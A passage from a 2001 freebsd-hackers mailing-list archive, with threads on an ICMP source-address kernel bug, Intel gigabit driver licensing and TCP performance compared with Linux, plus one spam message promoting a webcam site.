whale.sunbay.crimea.ua (8.11.6/8.11.2) id fAUAYv076775; Fri, 30 Nov 2001 12:34:57 +0200 (EET) (envelope-from ru) Date: Fri, 30 Nov 2001 12:34:57 +0200 From: Ruslan Ermilov To: Igor M Podlesny Cc: bug-followup@FreeBSD.org, net@FreeBSD.org Subject: Re: kern/31575: wrong src ip address for some ICMPs Message-ID: <20011130123457.B70651@sunbay.com> References: <200110290410.f9T4APo65440@freefall.freebsd.org> <20011129192500.A74956@sunbay.com> <92140220606.20011130110156@morning.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <92140220606.20011130110156@morning.ru> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [Redirected to -net] [Category changed to "kern"] On Fri, Nov 30, 2001 at 11:01:56AM +0700, Igor M Podlesny wrote: [...] > [router] > | > X---->|backbone|--> > | > | > Yip1----|the same media|------[some another ip-network] > |ip2----|the same media|------|some box| > > Here is "router" with FreeBSD (OpenBSD, and, probably *BSD) and "Some > box" doing traceroute to (for e.g.) a host which is _reachable_ _via_ > _backbone_. X, Y -- NICs. Y has several IPs, making several > ip-networks on "the same media". > > The problem: traceroute being run on "somebox" will hear respond from > "router" coming from Y.ip1 address which isn't on its (somebox) > IP-network. (well, I deem icmp.echoreply isn't alone in this.) And > this happens because wrong IP-addr is passed to ifaof_ifpforaddr(). My > patch fixes namely this problem -- I have worked out and applied it > and I believe I know what I'm talking about. Look at it, and you'll > realize what I mean... > > You may ask me for details, but, please, don't make different > situations asking me how does it correlate with -- damn lack of > time... > Yeah, now I see what's screwed up. I even thought about this myself this morning (well, you know the saying we use for that :-), before even reading your mail. But your fix is not quite correct, as we may have an individual routing table entry on "router" pointing back to "somebox" with a specific interface address (IFA) given, as reported by the "route -vn get -host " command, and we should actually use that as the source. The correct fix is a bit more complicated, and fortunately I have one. Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 2:55:30 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailtoaster1.pipeline.ch (mailtoaster1.pipeline.ch [62.48.0.70]) by hub.freebsd.org (Postfix) with SMTP id A542B37B416 for ; Fri, 30 Nov 2001 02:55:25 -0800 (PST) Received: (qmail 58127 invoked from network); 30 Nov 2001 10:55:03 -0000 Received: from unknown (HELO pipeline.ch) ([62.48.21.194]) (envelope-sender ) by mailtoaster1.pipeline.ch (qmail-ldap-1.03) with SMTP for ; 30 Nov 2001 10:55:03 -0000 Message-ID: <3C076508.CED01923@pipeline.ch> Date: Fri, 30 Nov 2001 11:52:56 +0100 From: Andre Oppermann X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: John Polstra Cc: hackers@freebsd.org Subject: Re: Intel gigabit driver References: <20011128141650.A96448@hub.freebsd.org> <3C057850.55E9BC99@pipeline.ch> <200111291957.fATJvLh69974@vashon.polstra.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Polstra wrote: > > In article <3C057850.55E9BC99@pipeline.ch>, Andre Oppermann > wrote: > > > What happend at Intel? Their driver is even released under the BSD > > license! (and the Linux one under the GPL) > > That last bit is incorrect. The Intel driver for Linux is released > under a 3-clause BSD license. I doesn't look like a clean BSD license thought... But it's also not under the GPL as such... Anyway, after the rants here on this list from time to time about Intel's strict NDA and Open Source driver problems I was surprised to see such a move from them. Part of the Intel Linux GiGE driver License: "This license shall include changes to the Software that are error corrections or other minor changes to the Software that do not add functionality or features when the Software is incorporated in any version of a operating system that has been distributed under the GNU General Public License 2.0 or later. This patent license shall apply to the combination of the Software and any operating system licensed under the GNU Public License version 2.0 or later if, at the time Intel provides the Software to Recipient, such addition of the Software to the then publicly available versions of such operating system available under the GNU Public License version 2.0 or later (whether in gold, beta or alpha form) causes such combination to be covered by the Licensed Patents." -- Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 3:43: 5 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from europa.your-site.com (europa.your-site.com [140.186.45.14]) by hub.freebsd.org (Postfix) with ESMTP id A1A8E37B416 for ; Fri, 30 Nov 2001 03:43:02 -0800 (PST) Received: from europa.your-site.com ([140.186.45.14]) by europa.your-site.com ; Fri, 30 Nov 2001 06:43:01 -0500 To: hackers@FreeBSD.ORG, hacketta@iinet.net.au, HACK-L@ALIVE.ERSYS.EDMONTON.AB.CA, hadams@cnmailsvr.nmsu.edu, hadams@kinn.com, hadams@NMSU.Edu, haddockj@knoware.nl, haddongrou@AOL.COM, hades@coos.dartmouth.edu, hadugu1@pop.uky.edu From: oqjfj@aol.com () Subject: whats up? 939054072 Message-ID: <100712058101@europa.your-site.com> Date: Fri, 30 Nov 2001 03:43:02 -0800 (PST) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Below is the result of your feedback form. It was submitted by (oqjfj@aol.com) on Friday, November 30, 2001 at 06:43:01 --------------------------------------------------------------------------- : Hey, what's up, yall? I found a site and if you want to meet people and talk to people on webcam, you should check this out. They're now giving members totally free memberships! You don't even need your own webcam. You can watch live videos of family, friends, or anybody! What is there to lose?
http://lllil.com/livewebcam



To take yourself off my mailing list ; Fri, 30 Nov 2001 04:20:36 -0800 (PST) Received: (from uucp@localhost) by srv1.cosmo-project.de (8.11.0/8.11.0) with UUCP id fAUCJuc86266; Fri, 30 Nov 2001 13:19:57 +0100 (CET) Received: from mail.cicely.de (cicely20.cicely.de [10.1.1.22]) by cicely5.cicely.de (8.12.1/8.12.1) with ESMTP id fAUCATAD082287; Fri, 30 Nov 2001 13:10:29 +0100 (CET)?g (envelope-from ticso@cicely8.cicely.de) Received: from cicely8.cicely.de (cicely8.cicely.de [10.1.2.10]) by mail.cicely.de (8.11.0/8.11.0) with ESMTP id fAUCARL10194; Fri, 30 Nov 2001 13:10:28 +0100 (CET) Received: (from ticso@localhost) by cicely8.cicely.de (8.11.4/8.11.4) id fAUCAFc71042; Fri, 30 Nov 2001 13:10:15 +0100 (CET) (envelope-from ticso) Date: Fri, 30 Nov 2001 13:10:13 +0100 From: Bernd Walter To: Pierre Beyssac Cc: Leo Bicknell , Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011130131013.A70828@cicely8.cicely.de> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> <20011129184414.F522@twincat.vladsempire.net> <20011130022547.A21889@fasterix.frmug.org> <20011129204225.A63957@ussenterprise.ufp.org> <20011130032345.A23415@fasterix.frmug.org> <20011129222809.A67159@ussenterprise.ufp.org> <20011130111156.A27621@fasterix.frmug.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011130111156.A27621@fasterix.frmug.org> User-Agent: Mutt/1.3.23i X-Operating-System: FreeBSD cicely8.cicely.de 5.0-CURRENT i386 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 11:11:56AM +0100, Pierre Beyssac wrote: > On Thu, Nov 29, 2001 at 10:28:09PM -0500, Leo Bicknell wrote: > > 4000 km one way == 8000 km two way, 8000 / 168300 = 47ms in my book, > > theoretial optimum. > > > > With an RTT of 47ms, you can move 16k per RTT, or or about 340k/sec. > > It's where I don't quite agree: for a bulk transfer, there is no > RTT to account for, you only need to take into account the one-way > delay, TCP does the rest for you assuming the window is large enough. Asume you have 10ms one way delay and an RTT of 20ms. Lets asume your windowsize fits exactly the one way delay. You start sending data until the send window is exhaustet. You have been seending 10ms from the begining and at that time the first packet of you stream reaches the receiver. Now you have to stop sending data for 10ms because you have to wait for the first acknowledge to arive to free some space of the window - if the receiver delays ack you have to wait longer. You can easily see that you need to take RTT + delayed-ack-time into acount. -- B.Walter COSMO-Project http://www.cosmo-project.de ticso@cicely.de Usergroup info@cosmo-project.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 7:20:49 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from exuma.irbs.com (exuma.irbs.com [216.86.160.252]) by hub.freebsd.org (Postfix) with ESMTP id 49BBF37B41C; Fri, 30 Nov 2001 07:20:35 -0800 (PST) Received: by exuma.irbs.com (Postfix, from userid 2500) id 79ABF17422; Fri, 30 Nov 2001 10:20:25 -0500 (EST) Date: Fri, 30 Nov 2001 10:20:25 -0500 From: John Capo To: "Bruce A. Mah" Cc: jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011130102025.A90660@exuma.irbs.com> Reply-To: jc@irbs.com References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <200111300527.fAU5R0s11199@c527597-a.cstvl1.sfba.home.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200111300527.fAU5R0s11199@c527597-a.cstvl1.sfba.home.com>; from bmah@FreeBSD.ORG on Thu, Nov 29, 2001 at 09:27:00PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Quoting Bruce A. Mah (bmah@FreeBSD.ORG): > > How early in November? I'm staring at this commit message and > wondering if it has any relevance to your situation: > > ----- > revision 1.107.2.18 > date: 2001/11/12 22:11:24; author: nate; state: Exp; lines: +3 -1 > MFH: V1.139 > when newreno is turned on, if dupacks = 1 or dupacks = 2 and > new data is acknowledged, reset the dupacks to 0. > The problem was spotted when a connection had its send buffer full > because the congestion window was only 1 MSS and was not being incremented > because dupacks was not reset to 0. > > Reviewed by: jlemon > ----- Kernel was built on November 7 probably from sources a day or two earlier. The source tree has been updated since the build. Nate's commit above is not in my kernel. For those interested the server and client dumps are here: http://www.irbs.net/server-dump.html http://www.irbs.net/client-dump.html The server clock looks like its about 900Ms ahead of the client. John Capo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 7:31:50 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id 15BFE37B41E for ; Fri, 30 Nov 2001 07:31:38 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fAUFVWx84809; Fri, 30 Nov 2001 10:31:32 -0500 (EST) (envelope-from bicknell) Date: Fri, 30 Nov 2001 10:31:32 -0500 From: Leo Bicknell To: Pierre Beyssac Cc: Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011130103132.A84654@ussenterprise.ufp.org> Mail-Followup-To: Pierre Beyssac , Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> <20011129184414.F522@twincat.vladsempire.net> <20011130022547.A21889@fasterix.frmug.org> <20011129204225.A63957@ussenterprise.ufp.org> <20011130032345.A23415@fasterix.frmug.org> <20011129222809.A67159@ussenterprise.ufp.org> <20011130111156.A27621@fasterix.frmug.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130111156.A27621@fasterix.frmug.org>; from pb@fasterix.freenix.org on Fri, Nov 30, 2001 at 11:11:56AM +0100 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 11:11:56AM +0100, Pierre Beyssac wrote: > It's where I don't quite agree: for a bulk transfer, there is no > RTT to account for, you only need to take into account the one-way > delay, TCP does the rest for you assuming the window is large enough. I recomend you pick up a copy of "TCP/IP Illustrated" by W Richard Stevens. -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 7:48:47 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from exuma.irbs.com (exuma.irbs.com [216.86.160.252]) by hub.freebsd.org (Postfix) with ESMTP id 1F25C37B419; Fri, 30 Nov 2001 07:48:42 -0800 (PST) Received: by exuma.irbs.com (Postfix, from userid 2500) id 523CC1741C; Fri, 30 Nov 2001 10:48:41 -0500 (EST) Date: Fri, 30 Nov 2001 10:48:41 -0500 From: John Capo To: babkin@freebsd.org Cc: jc@irbs.com, freebsd-hackers@freebsd.org Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011130104841.B90660@exuma.irbs.com> Reply-To: jc@irbs.com References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <3C0707BD.B8FA31F8@bellatlantic.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <3C0707BD.B8FA31F8@bellatlantic.net>; from babkin@bellatlantic.net on Thu, Nov 29, 2001 at 11:14:53PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Quoting Sergey Babkin (babkin@bellatlantic.net): > John Capo wrote: > > 21:41:49.001039 client.4427 > server.22: P 144:192(48) ack 12937 win 17376 (DF) [tos 0x10] > > 21:41:49.001073 server.22 > client.4427: . 28049:29497(1448) ack 192 win 17328 (DF) [tos 0x10] > > 21:41:49.001085 server.22 > client.4427: P 29497:30313(816) ack 192 win 17328 (DF) [tos 0x10] > > 21:41:49.109131 client.4427 > server.22: . ack 12937 win 17376 (DF) [tos 0x10] > > And here a _very_ pathological thing has happened: the server > just forgot to send the data between sequence numbers 12937 > and 28049. Since the dump was done on the server side, this suggests > that something very bad has happened with the TCP state on > the server side. Possibly the value of the current sequence number > in the protocol control block got overwritten by something. Very interesting, I overlooked that. Full dumps: http://www.irbs.net/server-dump.html http://www.irbs.net/client-dump.html I was beginning to think it was a client problem since 4.3 clients and Winblows clients work fine. A -stable client built from November 7 CVS code does not see the pause either. The client in the dump is built from CVS on November 11. John Capo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 8: 0:26 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from wall.polstra.com (wall-gw.polstra.com [206.213.73.130]) by hub.freebsd.org (Postfix) with ESMTP id 4FDFA37B417 for ; Fri, 30 Nov 2001 08:00:12 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.3) with ESMTP id fAUG09076976; Fri, 30 Nov 2001 08:00:09 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.6/8.11.0) id fAUG08o72057; Fri, 30 Nov 2001 08:00:08 -0800 (PST) (envelope-from jdp) Date: Fri, 30 Nov 2001 08:00:08 -0800 (PST) Message-Id: <200111301600.fAUG08o72057@vashon.polstra.com> To: hackers@freebsd.org From: John Polstra Cc: oppermann@pipeline.ch Subject: Re: Intel gigabit driver In-Reply-To: <3C076508.CED01923@pipeline.ch> References: <20011128141650.A96448@hub.freebsd.org> <3C057850.55E9BC99@pipeline.ch> <200111291957.fATJvLh69974@vashon.polstra.com> <3C076508.CED01923@pipeline.ch> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <3C076508.CED01923@pipeline.ch>, Andre Oppermann wrote: > John Polstra wrote: > > That last bit is incorrect. The Intel driver for Linux is released > > under a 3-clause BSD license. > > I doesn't look like a clean BSD license thought... But it's also not > under the GPL as such... > > Anyway, after the rants here on this list from time to time about > Intel's strict NDA and Open Source driver problems I was surprised > to see such a move from them. > > > Part of the Intel Linux GiGE driver License: > > "This license shall include changes to the Software that are error > corrections or other minor changes to the Software that do not add > functionality or features when the Software is incorporated in any > version of a operating system that has been distributed under the > GNU General Public License 2.0 or later. This patent license shall [...] Maybe you have an old version of the driver. I have e1000-3.1.23.tar.gz, which I grabbed from developer.intel.com a few weeks ago. I grepped all of the files in it, and the word "GNU" doesn't appear anywhere. There is a file named "LICENSE" which is just a standard BSD license. I'll append it below. John Copyright (c) 1999 - 2001, Intel Corporation All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of Intel Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [end] -- John Polstra John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 8: 8:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailtoaster1.pipeline.ch (mailtoaster1.pipeline.ch [62.48.0.70]) by hub.freebsd.org (Postfix) with SMTP id DF5C737B417 for ; Fri, 30 Nov 2001 08:08:29 -0800 (PST) Received: (qmail 88542 invoked from network); 30 Nov 2001 16:08:07 -0000 Received: from unknown (HELO pipeline.ch) ([62.48.21.138]) (envelope-sender ) by mailtoaster1.pipeline.ch (qmail-ldap-1.03) with SMTP for ; 30 Nov 2001 16:08:07 -0000 Message-ID: <3C07AE64.22EAF5A@pipeline.ch> Date: Fri, 30 Nov 2001 17:05:56 +0100 From: Andre Oppermann X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: John Polstra Cc: hackers@freebsd.org Subject: Re: Intel gigabit driver References: <20011128141650.A96448@hub.freebsd.org> <3C057850.55E9BC99@pipeline.ch> <200111291957.fATJvLh69974@vashon.polstra.com> <3C076508.CED01923@pipeline.ch> <200111301600.fAUG08o72057@vashon.polstra.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Polstra wrote: > > In article <3C076508.CED01923@pipeline.ch>, > Andre Oppermann wrote: > > John Polstra wrote: > > > That last bit is incorrect. The Intel driver for Linux is released > > > under a 3-clause BSD license. > > > > I doesn't look like a clean BSD license thought... But it's also not > > under the GPL as such... > > > > Anyway, after the rants here on this list from time to time about > > Intel's strict NDA and Open Source driver problems I was surprised > > to see such a move from them. > > > > > > Part of the Intel Linux GiGE driver License: > > > > "This license shall include changes to the Software that are error > > corrections or other minor changes to the Software that do not add > > functionality or features when the Software is incorporated in any > > version of a operating system that has been distributed under the > > GNU General Public License 2.0 or later. This patent license shall > [...] > > Maybe you have an old version of the driver. I have > e1000-3.1.23.tar.gz, which I grabbed from developer.intel.com a few > weeks ago. I grepped all of the files in it, and the word "GNU" > doesn't appear anywhere. There is a file named "LICENSE" which is > just a standard BSD license. I'll append it below. You've got an old one. The newest Linux driver on intel.com is e1000-3.5.19.tar.gz. And it talks about the GPL. -- Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 8:44:54 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from w2xo.pgh.pa.us (18.gibs5.xdsl.nauticom.net [209.195.184.19]) by hub.freebsd.org (Postfix) with ESMTP id 070B937B41A for ; Fri, 30 Nov 2001 08:44:42 -0800 (PST) Received: (from durham@localhost) by w2xo.pgh.pa.us (8.11.6/8.11.3) id fB10WIp55898 for freebsd-hackers@freebsd.org; Fri, 30 Nov 2001 19:32:18 -0500 (EST) (envelope-from durham) Date: Fri, 30 Nov 2001 19:32:18 -0500 (EST) From: "James C. Durham" Message-Id: <200112010032.fB10WIp55898@w2xo.pgh.pa.us> To: freebsd-hackers@freebsd.org Subject: Re: FreeBSD performing worse than Linux? Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG (snip...a large number of postings regarding slow performance by 4.x kernels with TCP/IP) A friend who works for a local university and I tried moving large files using variouis OS'es and hardware. These are FTP transfers with file sizes from 100 to 300 megabytes.. The conclusion we arrived at was that the TCP performance of FreeBSD 4.x and Linux is aproximately the same and that processor speed makes the most difference. In one case, a fast laptop with 16 bit pcmcia NIC did poorly. Moving large files on 100mb/s ethernet backbones gave the folowing results... Dual 800 mhz PIII processors with Linux 6.1: 10mB/s. Sunblade 100's: 10mB/s. Single 1.4ghz processors (noname box)with 3C905 NICS, FreeBSD-stable (June 2001).: 9.5 mB/s. In the case wehere we had only one machine of a type, we used the dual 800mhz machines as a "sink"...with the following results (this is probably questionable): Dual 333 Linux 5.1 5mB/s Pentium 350 III with 3C905 NIC, Linux 5.1: 2mB/sec K6-2 400 with smc NIC, Linux 5.1: 2.8mB/sec Dell 500mhz PowerEdge with 4.3 with 3C905 NIC to HP Netserver PII 266, both running 4.3-RELEASE: 3.0 mB/sec. Dell 500mhz PowerEdge with 4.3 to Dell 850mhz laptop running 4.4 with Dlink PCMCIA ethernet card: 1.0 mB/sec. (caused by pcmcia NIC?) PIIMMX 200mhz box running 4.4-Relese with 3C905 to same Dell Laptop: 500kB/sec. Unfortunately, we didn't have any 7.x Linux available or 3.X FreeBSD. FWIW... Jim Durham To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 8:49:34 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from wall.polstra.com (wall-gw.polstra.com [206.213.73.130]) by hub.freebsd.org (Postfix) with ESMTP id 55D0937B405 for ; Fri, 30 Nov 2001 08:49:28 -0800 (PST) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.3) with ESMTP id fAUGnP077187; Fri, 30 Nov 2001 08:49:25 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.6/8.11.0) id fAUGnOW72117; Fri, 30 Nov 2001 08:49:24 -0800 (PST) (envelope-from jdp) Date: Fri, 30 Nov 2001 08:49:24 -0800 (PST) Message-Id: <200111301649.fAUGnOW72117@vashon.polstra.com> To: hackers@freebsd.org From: John Polstra Cc: oppermann@pipeline.ch Subject: Re: Intel gigabit driver In-Reply-To: <3C07AE64.22EAF5A@pipeline.ch> References: <20011128141650.A96448@hub.freebsd.org> <3C076508.CED01923@pipeline.ch> <200111301600.fAUG08o72057@vashon.polstra.com> <3C07AE64.22EAF5A@pipeline.ch> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <3C07AE64.22EAF5A@pipeline.ch>, Andre Oppermann wrote: > John Polstra wrote: > > Maybe you have an old version of the driver. I have > > e1000-3.1.23.tar.gz, which I grabbed from developer.intel.com a few > > weeks ago. I grepped all of the files in it, and the word "GNU" > > doesn't appear anywhere. There is a file named "LICENSE" which is > > just a standard BSD license. I'll append it below. > > You've got an old one. The newest Linux driver on intel.com is > e1000-3.5.19.tar.gz. And it talks about the GPL. Whoops! :-} Thanks for straightening me out! John -- John Polstra John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 8:56:55 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by hub.freebsd.org (Postfix) with ESMTP id 7FEB337B417 for ; Fri, 30 Nov 2001 08:56:50 -0800 (PST) Received: from pun.isi.edu (pun.isi.edu [128.9.160.150]) by boreas.isi.edu (8.11.6/8.11.2) with ESMTP id fAUGunN16375; Fri, 30 Nov 2001 08:56:49 -0800 (PST) Received: (from faber@localhost) by pun.isi.edu (8.11.6/8.11.6) id fAUGumg69556; Fri, 30 Nov 2001 08:56:48 -0800 (PST) (envelope-from faber) Date: Fri, 30 Nov 2001 08:56:48 -0800 From: Ted Faber To: "Jonathan M. Slivko" Cc: "'Pierre Beyssac'" , "'Leo Bicknell'" , "'Josh Paetzel'" , jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011130085648.A69531@pun.isi.edu> References: <20011129192650.D64050@pun.isi.edu> <001e01c1794f$942f4e30$db6dd6d8@sioux> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=php-sha1; protocol="application/pgp-signature"; boundary="0F1p//8PRICkK4MW" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <001e01c1794f$942f4e30$db6dd6d8@sioux>; from jslivko@core.com on Thu, Nov 29, 2001 at 10:31:56PM -0500 X-url: http://www.isi.edu/~faber Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --0F1p//8PRICkK4MW Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, Nov 29, 2001 at 10:31:56PM -0500, Jonathan M. Slivko wrote: > If you give me your IP address, I can ping *from* Columbia.edu to your > machine and see what I get, that should pretty much solve any issues > that may arise. pun.isi.edu 128.9.160.150 Thanks. --0F1p//8PRICkK4MW Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8B7pQaUz3f+Zf+XsRAmaPAJ9+xKmDZeC5Fg9rBGqXp2pvg8ekKwCg43P5 yxhWqebLZ6qqp0RKhEVpA7Q= =/iQ3 -----END PGP SIGNATURE----- --0F1p//8PRICkK4MW-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Nov 30 9:43:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id C6FA037B417 for ; Fri, 30 Nov 2001 09:43:17 -0800 (PST) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id fAUHhAf18750; Fri, 30 Nov 2001 09:43:10 -0800 Date: Fri, 30 